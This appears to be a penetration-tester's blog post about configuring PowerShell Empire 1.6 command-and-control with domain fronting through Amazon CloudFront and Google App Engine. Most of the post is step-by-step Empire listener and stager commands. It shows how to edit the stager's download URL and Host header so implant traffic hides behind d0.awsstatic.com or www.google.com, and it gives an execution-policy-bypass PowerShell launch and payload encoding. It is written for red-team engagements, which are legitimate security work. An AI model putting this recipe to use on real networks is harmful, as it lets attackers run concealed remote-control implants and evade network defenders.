Domain Fronting with Empire 1.6: Two Ways

This is just a quick post to demonstrate how to use Domain Fronting (excellent info on this technique here, here, and here) with the current (non-beta) version of PowerShell Empire (Empire).

This post is specific to Empire 1.6. Empire version 2.0 is beta, and has added native support for Domain Fronting. More information can be found in @xorrior’s article found here. I tried to use this beta on a recent engagement for Domain Fronting, and for whatever reason, nothing was working and I didn’t have time to troubleshoot why 2.0 doesn’t work on my current system (pretty sure it was user error with some differences between the two versions and me not being familiar with those differences). Empire is surprisingly flexible, so I felt it was probably already possible to use current versions with Domain Fronting and began exploring.

This post will provide examples for Domain Fronting using Amazon CloudFront and Google App Engine with Empire.

CloudFront – Empire Domain Fronting

First, you will need to create an Amazon AWS account, login, and click on the Services->CloudFront link:

Next, you need to create a distribution. The Empire payload will point to this distribution, and it will be proxied back to your Empire listener. Click the “Create Distribution” button:

The “Origin Domain Name” should be configured to point to the FQDN of your Empire “hop_php” listener:

The only other options that need to be modified from the default, as discussed in @xorrior’s post, are the “Forward Headers,” “Forward Cookies,” and the “Query String Forwarding and Caching” options. These should be set to “All,” “All” and “Forward all, cache based on all” respectively:

Complete the setup by clicking the “Create Distribution” button at the bottom of the page. The new distribution should now show up in the console (note that it will take a while before it is ready):

Now, we are ready to setup Empire. The following settings are going to create one “hop” Empire listener, to which the CloudFront “Origin Domain Name” is pointing and for which the agent payload will be generated, and one “native” listener, for the connection between the “hop” PHP file and the actual listener. Note that the “hop” listener is configured to forward to the “native” listener:

    listeners
    set Name DomainFront
    set CertPath /path/to/empire.pem
    set Host https://<EmpireListenerIP>
    set Port 443
    run
    set Name DomainHop
    set Type hop
    set RedirectTarget DomainFront
    set Port 443
    set Host https://<UniqueDomainFrontID>.cloudfront.net/hop.php
    run

 
Note that I had issues if the “Host” option was set before the “Port” option – Empire wouldn’t recognize the “Host” ending in hop.php, and would append “:443” to the end, breaking everything.

The outcome should look similar to:

Next, we will create the “hop” payload. This will generate a PHP file, which will be uploaded to the web server hosting the domain pointed to in the CloudFront “Origin” field. The commands should look like:

    usestager hop_php
    set Listener DomainFront
    generate

 
The outcome should look similar to:

We are now ready to create the agent payload. The commands should look like:

    usestager launcher
    set Listener DomainHop
    set Base64 False
    generate

 
The outcome should look similar to:

Setting the “Base64” option to “False” was intentional as we need to modify the stager code a little to point to the more generic CloudFront AWS FQDN of “d0.awsstatic.com.”

When you generate with this option, you will get code that needs to be modified to add the “Host” header and change the link provided to “DownloadString”:

    // Change the link in between the DownloadString function from:
    https://<UniqueDomainFrontID>.cloudfront.net/hop.php?<Base64String>

    // To this:
    https://d0.awsstatic.com/hop.php?<Base64String>

 
One more modification and you should be good to go:

    // Add this:
    $wC.HEAderS.Add("Host","<UniqueDomainFrontID>.cloudfront.net");

    // Before:
    $wC.HEAderS.Add('User-Agent',$u)

 
We now want to get the nice Base64 encoded value. Replace all single quotes with double quotes, and check your session key as mine had a backtick which breaks things as well – if yours has a backtick, add another one in front of it (look in the “$K=” variable). Now launch powershell with:

    powershell -nop -sta -exec bypass

 
Create a string variable and put a single quote at the beginning and end of the code and assign it to the variable. Next, encode the variable with [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($string)), and then output the encoded value. This should look something like:

That’s it, you should now have a working Empire agent with which all communication is forwarded through https://d0.awsstatic.com.

Google App Engine – Empire Domain Fronting

First, you will need to login to the Google Cloud Platform with a valid Google account and create a new project. Create a unique project name, similar to the following:

Then click on the little edit link to make sure the project name and ID are the same:

You should now have a valid project. You will need to download the Google Cloud SDK and initialize it. From here, outside of uploading the “hop.php” file generated by Empire, the steps are pretty similar.

First, get the listeners up and running:

    listeners
    set Name DomainFront
    set Host http://<EmpireListenerIP>
    set Port 80
    run
    set Name DomainHop
    set Type hop
    set RedirectTarget DomainFront
    set Port 443
    set Host https://<GAEProjectID>.appspot.com/hop.php
    run

 
Note that for this one I did not set the “native” listener to use HTTPS as I didn’t have a valid cert and it was failing. I assume that Google checks/requires valid certs. Also, ignore any error for not setting the CertPath for the “hop” listener as the payload will still generate. Now, generate the “hop” php file:

    usestager hop_php
    set Listener DomainFront
    generate

 
Put this php file in a folder and create an app.yaml file that looks like:

Create your project with:

    gcloud app deploy --project <GAEProjectID>

 
The output should look similar to:

Now, generate a stager for the agent payload with:

    usestager launcher
    set Listener DomainHop
    set Base64 False
    generate

 
This code will be modified very similar to how the stager code for CloudFront was modified. Change the input to DownloadString:

    // Change the link in between the DownloadString function from:
    https://<GAEProjectID>.appspot.com/hop.php?<Base64String>

    // To this:
    https://www.google.com/<ShortRandomString>?<Base64String>

 
One more modification and you should be good to go:

    // Add this:
    $wC.HEAderS.Add("Host","<GAEProjectID>.appspot.com");

    // Before:
    $wC.HEAderS.Add('User-Agent',$u)

 
Perform the same steps to encode this string as what was performed for the CloudFront example and you are good to go.

Thanks for reading and happy hunting!

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: